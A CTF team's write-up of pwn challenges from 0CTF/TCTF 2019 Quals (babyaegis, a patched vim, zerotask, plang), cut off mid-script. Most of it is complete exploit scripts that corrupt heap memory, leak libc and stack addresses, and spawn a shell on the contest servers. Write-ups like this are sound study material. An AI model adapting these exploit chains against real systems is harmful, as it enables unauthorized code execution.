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<article class="markdown-body"><h1 id="0ctf/tctf-2019-quals"><a class="header-link" href="#0ctf/tctf-2019-quals"></a>0CTF/TCTF 2019 Quals</h1>
<p>We got 12th place in the 0CTF/TCTF 2019 Quals and make it to the finals! Also, congraz to @DragonSectorCTF, Tea Deliverers and 217. See you in the finals! </p>
<p>Thanks to the organizers for such a great event! This is the most challenging CTF so far this year👏. We really enjoyed it!</p>
<h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2>
<h3 id="babyaegis"><a class="header-link" href="#babyaegis"></a>babyaegis</h3>
<ul class="list">
<li>UAF but ASAN block</li>
<li>heap overflow but ASAN block</li>
<li>secret have a write "\x00" arbitrary</li>
<li>ASAN check value at 0xc047fff8000 , ASAN heap 0x602000000000 (no ASLR)</li>
<li>allocate 0x10 size, the buffer will be at 0x602000000000</li>
<li>write "\x00" at 0xc047fff8004 to overflow the ASAN chunk header.</li>
</ul>
<p>I found overwrite chunk header, we can UAF ID 0</p>
<pre class="hljs"><code>add(<span class="hljs-number">0x10</span>,<span class="hljs-string">"F"</span>*<span class="hljs-number">0x8</span>,<span class="hljs-number">100</span>)
add(<span class="hljs-number">0x10</span>,<span class="hljs-string">"F"</span>*<span class="hljs-number">0x8</span>,<span class="hljs-number">100</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x8</span>):
update(<span class="hljs-number">0</span>,<span class="hljs-string">"C"</span>*(<span class="hljs-number">0x9</span>+i),<span class="hljs-number">100</span>)
secret(<span class="hljs-number">0xc047fff8004</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x8</span>,<span class="hljs-number">0xd</span>):
update(<span class="hljs-number">0</span>,<span class="hljs-string">"C"</span>*(<span class="hljs-number">0x9</span>+i),<span class="hljs-number">100</span>)
update(<span class="hljs-number">0</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0xe</span> + p64(<span class="hljs-number">0xffff000000024141</span>),<span class="hljs-number">0x023000001003ffff</span>)
remove(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>,p64(<span class="hljs-number">0x602000000018</span>),<span class="hljs-number">0</span>)</code></pre><p>ID 2 0x0000602000000010 buf_ptr
ID 0 0x0000602000000030 buf_ptr but 0x602000000030 is ID 2 data buffer</p>
<pre class="hljs"><code><span class="hljs-number">0</span>x6<span class="hljs-number">02000000000</span>: <span class="hljs-number">0</span>x02ffffff<span class="hljs-number">00000002</span> <span class="hljs-number">0</span>x6480<span class="hljs-number">000120000010</span>
<span class="hljs-number">0</span>x6<span class="hljs-number">02000000010</span>: <span class="hljs-number">0</span>x00006<span class="hljs-number">02000000030</span> <span class="hljs-number">0</span>x0000558ca42d8ab0
<span class="hljs-number">0</span>x6<span class="hljs-number">02000000020</span>: <span class="hljs-number">0</span>x02ffffff<span class="hljs-number">00000002</span> <span class="hljs-number">0</span>x0700<span class="hljs-number">000120000010</span>
<span class="hljs-number">0</span>x6<span class="hljs-number">02000000030</span>:[<span class="hljs-number">0</span>x00006<span class="hljs-number">02000000018</span>] <span class="hljs-number">0</span>xbe000<span class="hljs-number">00000000000</span>
<span class="hljs-number">0</span>x6<span class="hljs-number">02000000040</span>: <span class="hljs-number">0</span>x02ffffff<span class="hljs-number">00000002</span> <span class="hljs-number">0</span>x0700<span class="hljs-number">000120000010</span>
<span class="hljs-number">0</span>x6<span class="hljs-number">02000000050</span>: <span class="hljs-number">0</span>x64464<span class="hljs-number">64646464646</span> <span class="hljs-number">0</span>xbe000<span class="hljs-number">00000000000</span>
<span class="hljs-number">0</span>x6<span class="hljs-number">02000000060</span>: <span class="hljs-number">0</span>x02ffffff<span class="hljs-number">00000002</span> <span class="hljs-number">0</span>x6480<span class="hljs-number">000120000010</span>
<span class="hljs-number">0</span>x6<span class="hljs-number">02000000070</span>: <span class="hljs-number">0</span>x00006<span class="hljs-number">02000000050</span> <span class="hljs-number">0</span>x0000558ca42d8ab0</code></pre><p>show ID 0 to leak code address</p>
<p>using update & show to achieve arbitrary read and write.
Leak libc => leak stack => overwrite read_until_nl_or_max return address to gets & one_gadget get shell</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-comment"># -*- coding: utf-8 -*-</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> random
host = <span class="hljs-string">'111.186.63.209'</span>
port = <span class="hljs-number">6666</span>
binary = <span class="hljs-string">"./aegis"</span>
context.binary = binary
elf = ELF(binary)
<span class="hljs-keyword">try</span>:
libc = ELF(<span class="hljs-string">"./libc.so.6"</span>)
log.success(<span class="hljs-string">"libc load success"</span>)
system_off = libc.symbols.system
log.success(<span class="hljs-string">"system_off = "</span>+hex(system_off))
<span class="hljs-keyword">except</span>:
log.failure(<span class="hljs-string">"libc not found !"</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(size, content, iid)</span>:</span>
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"1"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(size))
r.recvuntil(<span class="hljs-string">": "</span>)
r.send(content)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(iid))
<span class="hljs-keyword">pass</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">update</span><span class="hljs-params">(index,content,iid)</span>:</span>
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"3"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(index))
r.recvuntil(<span class="hljs-string">": "</span>)
r.send(content)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(iid))
<span class="hljs-keyword">pass</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">remove</span><span class="hljs-params">(index)</span>:</span>
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"4"</span>)
r.recvuntil(<span class="hljs-string">":"</span>)
r.sendline(str(index))
<span class="hljs-keyword">pass</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">show</span><span class="hljs-params">(index,start,end)</span>:</span>
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"2"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(index))
<span class="hljs-keyword">pass</span>
r.recvuntil(start)
data = r.recvuntil(end)[:-len(end)]
<span class="hljs-keyword">return</span> data
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">secret</span><span class="hljs-params">(address)</span>:</span>
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(<span class="hljs-string">"666"</span>)
r.recvuntil(<span class="hljs-string">": "</span>)
r.sendline(str(address))
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
<span class="hljs-keyword">pass</span>
r = process([binary, <span class="hljs-string">"0"</span>], env={<span class="hljs-string">"LD_LIBRARY_PATH"</span>:<span class="hljs-string">"."</span>})
<span class="hljs-keyword">else</span>:
r = remote(host ,port)
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">'__main__'</span>:
add(<span class="hljs-number">0x10</span>,<span class="hljs-string">"F"</span>*<span class="hljs-number">0x8</span>,<span class="hljs-number">100</span>)
add(<span class="hljs-number">0x10</span>,<span class="hljs-string">"F"</span>*<span class="hljs-number">0x8</span>,<span class="hljs-number">100</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x8</span>):
update(<span class="hljs-number">0</span>,<span class="hljs-string">"C"</span>*(<span class="hljs-number">0x9</span>+i),<span class="hljs-number">100</span>)
secret(<span class="hljs-number">0xc047fff8004</span>)
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> xrange(<span class="hljs-number">0x8</span>,<span class="hljs-number">0xd</span>):
update(<span class="hljs-number">0</span>,<span class="hljs-string">"C"</span>*(<span class="hljs-number">0x9</span>+i),<span class="hljs-number">100</span>)
update(<span class="hljs-number">0</span>,<span class="hljs-string">"A"</span>*<span class="hljs-number">0xe</span> + p64(<span class="hljs-number">0xffff000000024141</span>),<span class="hljs-number">0x023000001003ffff</span>)
remove(<span class="hljs-number">0</span>)
add(<span class="hljs-number">0x10</span>,p64(<span class="hljs-number">0x602000000018</span>),<span class="hljs-number">0</span>)
code = u64(show(<span class="hljs-number">0</span>,<span class="hljs-string">"Content: "</span>,<span class="hljs-string">"\nID"</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - <span class="hljs-number">0x114ab0</span>
print(<span class="hljs-string">"code = {}"</span>.format(hex(code)))
update(<span class="hljs-number">2</span>,<span class="hljs-string">"AA"</span>,<span class="hljs-number">0xffffffffffffffff</span>)
update(<span class="hljs-number">2</span>,p64(code+<span class="hljs-number">0x347E28</span>) + p64(code+<span class="hljs-number">0x114ab0</span>)[:<span class="hljs-number">2</span>] , (code+<span class="hljs-number">0x114ab0</span>)>><span class="hljs-number">8</span>)
libc.address = u64(show(<span class="hljs-number">0</span>,<span class="hljs-string">"Content: "</span>,<span class="hljs-string">"\nID"</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>)) - libc.symbols[<span class="hljs-string">'puts'</span>]
print(<span class="hljs-string">"libc.address = {}"</span>.format(hex(libc.address)))
update(<span class="hljs-number">2</span>,p64(libc.address+<span class="hljs-number">0x03EE098</span>)[:<span class="hljs-number">-1</span>], ((code+<span class="hljs-number">0x114ab0</span>) << <span class="hljs-number">16</span>))
stack = u64(show(<span class="hljs-number">0</span>,<span class="hljs-string">"Content: "</span>,<span class="hljs-string">"\nID"</span>).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">"\x00"</span>))
print(<span class="hljs-string">"stack = {}"</span>.format(hex(stack)))
<span class="hljs-keyword">if</span> len(sys.argv) == <span class="hljs-number">1</span>:
read_until_nl_or_max_retaddr = stack - <span class="hljs-number">0x158</span> <span class="hljs-comment"># local</span>
<span class="hljs-keyword">else</span>:
read_until_nl_or_max_retaddr = stack - <span class="hljs-number">0x150</span> <span class="hljs-comment"># remote</span>
update(<span class="hljs-number">2</span>,p64(read_until_nl_or_max_retaddr)[:<span class="hljs-number">-1</span>], ((code+<span class="hljs-number">0x114ab0</span>) << <span class="hljs-number">16</span>))
sleep(<span class="hljs-number">0.01</span>)
r.sendline(<span class="hljs-string">"3"</span>)
sleep(<span class="hljs-number">0.01</span>)
r.sendline(<span class="hljs-string">"0"</span>)
sleep(<span class="hljs-number">0.01</span>)
magic = libc.address + <span class="hljs-number">0x4f322</span>
r.send(p64(libc.symbols[<span class="hljs-string">'gets'</span>])[:<span class="hljs-number">-1</span>])
r.sendline(<span class="hljs-string">"AA"</span> + p64(magic) + <span class="hljs-string">"\x00"</span>*<span class="hljs-number">0x50</span>)
sleep(<span class="hljs-number">0.01</span>)
r.sendline(<span class="hljs-string">"ls"</span>)
r.interactive()
</code></pre><h3 id="if-on-a-winters-night-a-traveler"><a class="header-link" href="#if-on-a-winters-night-a-traveler"></a>If on a winters night a traveler</h3>
<p>Given a patch file and a vim binary, we're asked to exploit a patched vim. After we check the patch file, we noticed that a new encryption method <code>perm</code> was added to the vim binary. We then implemented a tiny fuzzer, fuzz the binary and got a crash immediately. By analyzing the crash, we found that the following code in <code>crypt_perm_decode()</code> is flawed:</p>
<pre class="hljs"><code><span class="hljs-keyword">while</span> (i < len)
{
<span class="hljs-keyword">if</span> (ps->cur_idx < ps->orig_size)
{
to[ps->cur_idx+<span class="hljs-number">4</span>] = from[i];
i++;
}
ps->cur_idx = (ps->cur_idx + ps->step) % ps->size;
}</code></pre><p>The code did not check the lower bound of <code>to</code> buffer. Since we can control <code>ps->step</code>, <code>ps->cur_idx</code> can actually be a negative number, which leads to a heap buffer underflow vulnerability.</p>
<p>To exploit the service, we:</p>
<ol class="list">
<li>Use the vulnerability to overwrite the <code>ps->buffer</code> pointer and change it to <a href="mailto:`free@got.plt">`free@got.plt</a> - 9`</li>
<li>Overwrite <code>ps->cur_idx</code> ( 1 byte ) so next time <code>ps->cur_idx</code> will be a positive number. This allow us to control the content of <code>to[positive_index]</code>.</li>
<li>Later when we run into the following code:<pre class="hljs"><code><span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i < ps->shift; ++i)
ps->buffer[i] = to[i+<span class="hljs-number">4</span>];</code></pre>Since we can control <code>to[i+4]</code>, we actually have an arbitrary write primitive. We decided to overwrite <a href="mailto:`free@got.plt">`free@got.plt</a><code>to</code>0x4C915d`, which contains the following gadget:<pre class="hljs"><code><span class="hljs-keyword">mov</span> <span class="hljs-built_in">r8d</span>, <span class="hljs-number">0</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">rcx</span>, <span class="hljs-built_in">rax</span>
<span class="hljs-keyword">lea</span> <span class="hljs-built_in">rdx</span>, aC_2 <span class="hljs-comment">; "-c"</span>
<span class="hljs-keyword">lea</span> <span class="hljs-built_in">rsi</span>, arg <span class="hljs-comment">; "sh"</span>
<span class="hljs-keyword">lea</span> <span class="hljs-built_in">rdi</span>, path <span class="hljs-comment">; "/bin/sh"</span>
<span class="hljs-keyword">mov</span> <span class="hljs-built_in">eax</span>, <span class="hljs-number">0</span>
<span class="hljs-keyword">call</span> _execl</code></pre></li>
</ol>
<p>We found that while doing <code>free(ps->buffer)</code>, rax will store the value of <code>ps->buffer</code>, which means this gadget allow us to call <code>execl("/bin/sh","sh","-c",ps->buffer)</code> eventually, and that's how we achieve remote code execution.</p>
<p>final exploit:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> subprocess <span class="hljs-keyword">as</span> sp
<span class="hljs-keyword">from</span> ctypes <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">import</span> itertools
<span class="hljs-comment"># flag{Th4t_st0ry_I_to1d_you_abOut_thE_boy_poet_aNd_th3_girl_poet,_Do_y0u_r3member_thAt?_THAT_WASN'T_TRUE._IT_WAS_SOMETHING_I_JUST_MADE_UP._Isn't_that_the_funniest_thing_you_have_heard?}</span>
sss = string.letters + string.digits
y = remote(<span class="hljs-string">"111.186.63.13"</span>,<span class="hljs-number">10001</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pow</span><span class="hljs-params">()</span>:</span>
y.recvuntil(<span class="hljs-string">"sha256(XXXX+"</span>)
suffix = y.recvuntil(<span class="hljs-string">")"</span>)[:<span class="hljs-number">-1</span>:]
y.recvuntil(<span class="hljs-string">"== "</span>)
answer = y.recvline().strip()
log.info(<span class="hljs-string">"suffix: "</span>+suffix)
log.info(<span class="hljs-string">"hash: "</span>+answer)
<span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> itertools.product(sss, repeat=<span class="hljs-number">4</span>):
XXXX = <span class="hljs-string">''</span>.join(c)
temp = XXXX + suffix
h = hashlib.sha256(temp).hexdigest()
<span class="hljs-keyword">if</span> h == answer:
log.success(<span class="hljs-string">"XXXX: {}"</span>.format(XXXX))
y.sendlineafter(<span class="hljs-string">"XXXX:"</span>, XXXX)
<span class="hljs-keyword">break</span>
pow()
e = ELF(<span class="hljs-string">'./vim'</span>)
_size = <span class="hljs-number">0x16</span> + <span class="hljs-number">8</span> + <span class="hljs-number">1</span> + <span class="hljs-number">8</span> + <span class="hljs-number">8</span>
size = <span class="hljs-number">0x35</span>
IV = <span class="hljs-number">0xffffffff</span> ^ <span class="hljs-number">0x61</span>
f = <span class="hljs-string">"VimCrypt~04!"</span>
f += p32(IV)[::<span class="hljs-number">-1</span>]
p = <span class="hljs-string">'y'</span> * <span class="hljs-number">0x15</span>
p += p64( e.got[<span class="hljs-string">'free'</span>] - <span class="hljs-number">9</span> )[::<span class="hljs-number">-1</span>]
p += <span class="hljs-string">'\x1b'</span>
p += p64( <span class="hljs-number">0x4C915d</span> )[::<span class="hljs-number">-1</span>]
p += <span class="hljs-string">'cat flag'</span>.ljust( <span class="hljs-number">9</span> , <span class="hljs-string">'\0'</span> )[::<span class="hljs-number">-1</span>]
f += p.ljust( size , <span class="hljs-string">'\x00'</span> )
y.sendlineafter( <span class="hljs-string">'OK'</span> , str( len( f ) ) )
y.send( f )
y.interactive()</code></pre><h3 id="zerotask"><a class="header-link" href="#zerotask"></a>zerotask</h3>
<p>Race Condition to leak address
Then create fake structure to jump to one_gadget</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
context.arch = <span class="hljs-string">"amd64"</span>
<span class="hljs-comment">#r = process(["./task"])</span>
r = remote(<span class="hljs-string">"111.186.63.201"</span>, <span class="hljs-number">10001</span>)
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
IV = <span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aes_encrypt</span><span class="hljs-params">(data, key)</span>:</span>
cryptor = AES.new(key, AES.MODE_CBC, IV)
<span class="hljs-keyword">return</span> cryptor.encrypt(data)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">aes_decrypt</span><span class="hljs-params">(data, key)</span>:</span>
cryptor = AES.new(key, AES.MODE_CBC, IV)
<span class="hljs-keyword">return</span> cryptor.decrypt(data)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(idx,Type,key,iv,size,data)</span>:</span>
payload = flat(<span class="hljs-string">"1"</span>.ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>),str(idx).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>),
str(Type).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>),key,iv,
str(size).ljust(<span class="hljs-number">8</span>,<span class="hljs-string">'\x00'</span>),data)
<span class="hljs-keyword">global</span> gogo
<span class="hljs-keyword">if</span> gogo:
r.send(payload)
<span class="hljs-keyword">else</span>:
r.sendafter(<span class="hljs-string">"Choice:"</span>,payload)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">go</span><span class="hljs-params">(idx)</span>:</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"3"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">remove</span><span class="hljs-params">(idx)</span>:</span>
r.sendlineafter(<span class="hljs-string">":"</span>,<span class="hljs-string">"2"</span>)
r.sendlineafter(<span class="hljs-string">":"</span>,str(idx))
gogo = <span class="hljs-keyword">False</span>
add(<span class="hljs-number">0</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x70</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x70</span>)
add(<span class="hljs-number">1</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x70</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x70</span>)
add(<span class="hljs-number">2</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x70</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x70</span>)
remove(<span class="hljs-number">2</span>)
go(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">0</span>)
remove(<span class="hljs-number">1</span>)
add(<span class="hljs-number">3</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x1</span>)
add(<span class="hljs-number">4</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x1</span>)
r.recvuntil(<span class="hljs-string">"Ciphertext:"</span>)
r.recvline()
x = r.recvline()[:<span class="hljs-number">-1</span>].split()
ans = <span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> xx <span class="hljs-keyword">in</span> x:
ans+= chr(int(xx,<span class="hljs-number">16</span>))
data = aes_decrypt(ans,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>)[:<span class="hljs-number">8</span>]
heap = u64(data)
<span class="hljs-keyword">print</span> hex(heap)
gogo = <span class="hljs-keyword">True</span>
add(<span class="hljs-number">5</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x70</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x70</span>)
gogo = <span class="hljs-keyword">False</span>
add(<span class="hljs-number">6</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x10</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>)
go(<span class="hljs-number">5</span>)
remove(<span class="hljs-number">5</span>)
remove(<span class="hljs-number">6</span>)
fake = flat( heap+<span class="hljs-number">0x720</span>,<span class="hljs-number">0x70</span>,p32(<span class="hljs-number">1</span>),<span class="hljs-string">"a"</span>*<span class="hljs-number">0x30</span>+p32(<span class="hljs-number">0</span>),<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,heap+<span class="hljs-number">0x420</span>)
add(<span class="hljs-number">7</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x70</span>,fake.ljust(<span class="hljs-number">0x70</span>,<span class="hljs-string">"\x00"</span>))
add(<span class="hljs-number">8</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x500</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x500</span>)
add(<span class="hljs-number">9</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x10</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>)
remove(<span class="hljs-number">8</span>)
r.recvuntil(<span class="hljs-string">"Ciphertext:"</span>)
r.recvline()
x = r.recvline()[:<span class="hljs-number">-1</span>].split()
ans = <span class="hljs-string">""</span>
<span class="hljs-keyword">for</span> xx <span class="hljs-keyword">in</span> x:
ans+= chr(int(xx,<span class="hljs-number">16</span>))
data = aes_decrypt(ans,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>)[:<span class="hljs-number">8</span>]
libc = u64(data)<span class="hljs-number">-0x3ebca0</span>
<span class="hljs-keyword">print</span> hex(libc)
gogo = <span class="hljs-keyword">True</span>
add(<span class="hljs-number">5</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x70</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x70</span>)
gogo = <span class="hljs-keyword">False</span>
add(<span class="hljs-number">6</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x10</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>)
add(<span class="hljs-number">7</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x100</span>,p64(heap+<span class="hljs-number">0xf10</span>)+p64(<span class="hljs-number">0</span>)+p64(<span class="hljs-number">0</span>)*<span class="hljs-number">4</span>+p64(libc+<span class="hljs-number">0x10a38c</span>)+<span class="hljs-string">"/bin/sh\x00"</span>+p64(<span class="hljs-number">0</span>)*<span class="hljs-number">0x18</span>)
go(<span class="hljs-number">5</span>)
remove(<span class="hljs-number">5</span>)
remove(<span class="hljs-number">6</span>)
fake = flat( heap+<span class="hljs-number">0xf38</span>,<span class="hljs-number">0x70</span>,p32(<span class="hljs-number">1</span>),<span class="hljs-string">"a"</span>*<span class="hljs-number">0x30</span>+p32(<span class="hljs-number">0</span>),<span class="hljs-number">0</span>,<span class="hljs-number">0</span>,heap+<span class="hljs-number">0xf00</span>)
add(<span class="hljs-number">7</span>,<span class="hljs-number">1</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x20</span>,<span class="hljs-string">"a"</span>*<span class="hljs-number">0x10</span>,<span class="hljs-number">0x70</span>,fake.ljust(<span class="hljs-number">0x70</span>,<span class="hljs-string">"\x00"</span>))
<span class="hljs-keyword">import</span> time
time.sleep(<span class="hljs-number">2</span>)
r.interactive()
</code></pre><h3 id="plang"><a class="header-link" href="#plang"></a>plang</h3>
<p>We are given some files, including one <code>plang</code> binary and one PoC code. The <code>plang</code> binary acts like an interpreter. And the PoC code can make <code>plang</code> get segmentation fault, which points out the direction to the vulnerability in <code>plang</code>.</p>
<h4 id="vulnerability"><a class="header-link" href="#vulnerability"></a>Vulnerability</h4>
<p>It should be easy to find out that we can use negative indexes to overwrite other objects. And it's obvious that we can only modify the objects at lower address, which means we can only modify the earlier objects.</p>
<pre class="hljs"><code>var a = <span class="hljs-string">"This is a PoC!"</span>
System.print(a)
var b = [<span class="hljs-number">1</span>, <span class="hljs-number">0x123</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span> , <span class="hljs-number">8</span>]
var c = [<span class="hljs-number">75</span>, <span class="hljs-number">0x123</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span> , <span class="hljs-number">20</span>]
c[<span class="hljs-number">-0x36</span>]=<span class="hljs-number">1234</span>
System.print(b)
> > This is a PoC!
> > > > [<span class="hljs-number">1234</span>,<span class="hljs-number">291</span>,<span class="hljs-number">3</span>,<span class="hljs-number">7</span>,<span class="hljs-number">8</span>]</code></pre><p>But we cannot use this trick to leak information on heap, since we can only use negative index for assignment.</p>
<h4 id="leak"><a class="header-link" href="#leak"></a>Leak</h4>
<p>Then I found that we can modify the length of string object. Therefore, we can leverage modified string object to leak heap address.</p>
<pre class="hljs"><code>var a = <span class="hljs-string">"This is a Po"</span>
System.print(a)
var b = [<span class="hljs-number">1</span>, <span class="hljs-number">0x123</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span> , <span class="hljs-number">8</span>]
var c = [<span class="hljs-number">75</span>, <span class="hljs-number">0x123</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span> , <span class="hljs-number">0</span>,<span class="hljs-number">40</span>]
c[<span class="hljs-number">-0xe0</span>]=<span class="hljs-number">1</span> # This actually change the length of a into <span class="hljs-number">0x3ff0000000000000</span>
System.print(c[<span class="hljs-number">0</span>])
System.print(a[<span class="hljs-number">0x30</span>]+a[<span class="hljs-number">0x31</span>]+a[<span class="hljs-number">0x32</span>]+a[<span class="hljs-number">0x33</span>]+a[<span class="hljs-number">0x34</span>]+a[<span class="hljs-number">0x35</span>]+a[<span class="hljs-number">0x36</span>]+a[<span class="hljs-number">0x37</span>]) # leak heap address</code></pre><p>Here is a limitation of this trick, we can only leak information at higher address. However there is no libc address at higher address on heap.</p>
<p>Fortunately, I found some native objects and libc address at lower address on heap. Since <code>plang</code> implement <code>toString</code> for every native class, we can modify these string objects to leak libc address as well as text address.</p>
<pre class="hljs"><code>var a = <span class="hljs-string">"This is a Po"</span>
System.print(a)
var b = [<span class="hljs-number">1</span>, <span class="hljs-number">0x123</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span> , <span class="hljs-number">8</span>]
var c = [<span class="hljs-number">75</span>, <span class="hljs-number">0x123</span>, <span class="hljs-number">3</span>, <span class="hljs-number">7</span> , <span class="hljs-number">0</span>,<span class="hljs-number">40</span>]
c[<span class="hljs-number">-0xe0</span>]=<span class="hljs-number">1</span>
c[<span class="hljs-number">-0xeaa</span>]=<span class="hljs-number">1</span>
System.print(c[<span class="hljs-number">0</span>])
System.print(a[<span class="hljs-number">0x30</span>]+a[<span class="hljs-number">0x31</span>]+a[<span class="hljs-number">0x32</span>]+a[<span class="hljs-number">0x33</span>]+a[<span class="hljs-number">0x34</span>]+a[<span class="hljs-number">0x35</span>]+a[<span class="hljs-number">0x36</span>]+a[<span class="hljs-number">0x37</span>])
var lib=Num.toString
